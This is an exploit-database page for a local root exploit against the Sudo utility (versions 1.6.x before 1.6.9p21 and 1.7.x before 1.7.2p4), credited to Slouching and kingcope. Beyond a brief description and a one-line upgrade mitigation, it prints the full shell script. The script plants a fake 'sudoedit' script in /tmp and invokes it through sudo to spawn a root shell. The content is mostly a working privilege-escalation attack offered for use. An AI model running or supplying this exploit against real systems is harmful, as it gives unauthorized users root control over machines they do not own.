header-logo
Suggest Exploit
vendor:
Sudo
by:
Slouching and kingcope

Tod Miller Sudo local root exploit

This exploit allows a local user to gain root privileges by exploiting a vulnerability in Sudo versions 1.6.x before 1.6.9p21 and 1.7.x before 1.7.2p4. The exploit creates a malicious script in the /tmp directory and uses the sudo command to execute it with root privileges. The malicious script contains commands to spawn a root shell.

Mitigation:

Upgrade to Sudo version 1.6.9p21 or 1.7.2p4 or later.
Source

Exploit-DB raw data:

#!/bin/sh
# Tod Miller Sudo 1.6.x before 1.6.9p21 and 1.7.x before 1.7.2p4
# local root exploit
# March 2010
# automated by kingcope
# Full Credits to Slouching
echo Tod Miller Sudo local root exploit
echo by Slouching
echo automated by kingcope
if [ $# != 1 ]
then
echo "usage: ./sudoxpl.sh <file you have permission to edit>"
exit
fi
cd /tmp
cat > sudoedit << _EOF
#!/bin/sh
echo ALEX-ALEX
su
/bin/su
/usr/bin/su
_EOF
chmod a+x ./sudoedit
sudo ./sudoedit $1